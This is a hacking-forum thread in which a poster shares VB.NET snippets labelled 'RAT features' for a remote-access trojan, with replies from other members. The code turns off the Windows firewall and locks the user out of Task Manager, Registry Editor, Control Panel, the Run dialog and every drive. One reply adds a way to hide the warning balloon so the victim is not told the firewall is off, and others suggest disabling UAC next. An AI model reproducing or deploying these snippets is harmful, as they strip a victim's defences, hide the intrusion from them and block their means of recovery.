Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

[VB.NET] Enable/Disable (RAT FEATURES)

Regedit
------Enable
Code
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f ")

------Disable
Code
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f ")


Windoes Firewall
-----Enable
Code
Dim Proc As Process = New Process
        Dim top As String = "netsh.exe"
        Proc.StartInfo.Arguments = ("firewall set opmode enable")
        Proc.StartInfo.FileName = top
        Proc.StartInfo.UseShellExecute = False
        Proc.StartInfo.RedirectStandardOutput = True
        Proc.StartInfo.CreateNoWindow = True
        Proc.Start()
        Proc.WaitForExit()

----Disable
Code
Dim Proc As Process = New Process
        Dim top As String = "netsh.exe"
        Proc.StartInfo.Arguments = ("firewall set opmode disable")
        Proc.StartInfo.FileName = top
        Proc.StartInfo.UseShellExecute = False
        Proc.StartInfo.RedirectStandardOutput = True
        Proc.StartInfo.CreateNoWindow = True
        Proc.Start()
        Proc.WaitForExit()

Edit: Added More
Taskmanager
----Enable
Code
Dim key1 As RegistryKey = Registry.CurrentUser
        Dim subkey1 As RegistryKey
        subkey1 = key1.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System", True)
        subkey1.SetValue("DisableTaskMgr", 0)

---Disable
Code
Dim key As RegistryKey = Registry.CurrentUser
        Dim subkey As RegistryKey
        subkey = key.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System", True)
        subkey.SetValue("DisableTaskMgr", 1)

Disable Balloon Popups
Code
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v EnableBalloonTips /t REG_DWORD /d 1 /f ")

Disable all drives :)
Code
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives  /t REG_DWORD /d 3FFFFFF  /f ")

Disable Control Pannel
Code
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f")

Enable Control Pannel
Code
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 0 /f")

Disable RUN
Code
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f")

Enable RUN
Code
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 0 /f")

Change the Registered Change the User Information

Code
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion.
Change the value of "RegisteredOrganization" or "RegisteredOwner", to what ever you want
Hmm, nice share dude D: keep em coming'
Nice, but if you run that command to disable windows fire wall, a little balloon will pop up alarming the user :p.
(Apr 3, 2010 08:10 AM)Samuell Wrote:  Nice, but if you run that command to disable windows fire wall, a little balloon will pop up alarming the user :p.

Just use this

Code
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v EnableBalloonTips /t REG_DWORD /d 1 /f ")
very sexy coding.....good work
PHP & .NET Contributor.
Very nice share, great for my use atm! i look to see more, i believe theirs a task manager one around here too!
(Apr 3, 2010 04:19 PM)[iSphynx] Wrote:  Very nice share, great for my use atm! i look to see more, i believe theirs a task manager one around here too!

Bump


Added Task Manager, Any more?

Added some more :) do ask for any regedit rat features you may want
You could add disable UAC ;-)
Really nice mate! thanks for the cool share.
thanks for the snippets :)
code that is beautiful and short.
very good
😉
Nice share indeed, keep it up :)
Metal fans, attention!

Big collection thread for unknown/underground metal
bands here!


All sub-genres welcome!


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by AstateAug 10, 2021 10:21 AM 6 697 Aug 10, 2021 10:21 AM
Last Post: SIM-5033784
[Shell] by Emre_Sep 5, 2019 12:08 PM 0 153 Sep 5, 2019 12:08 PM
Last Post: Emre_
[Shell] by Emre_Sep 3, 2019 06:11 AM 0 135 Sep 3, 2019 06:11 AM
Last Post: Emre_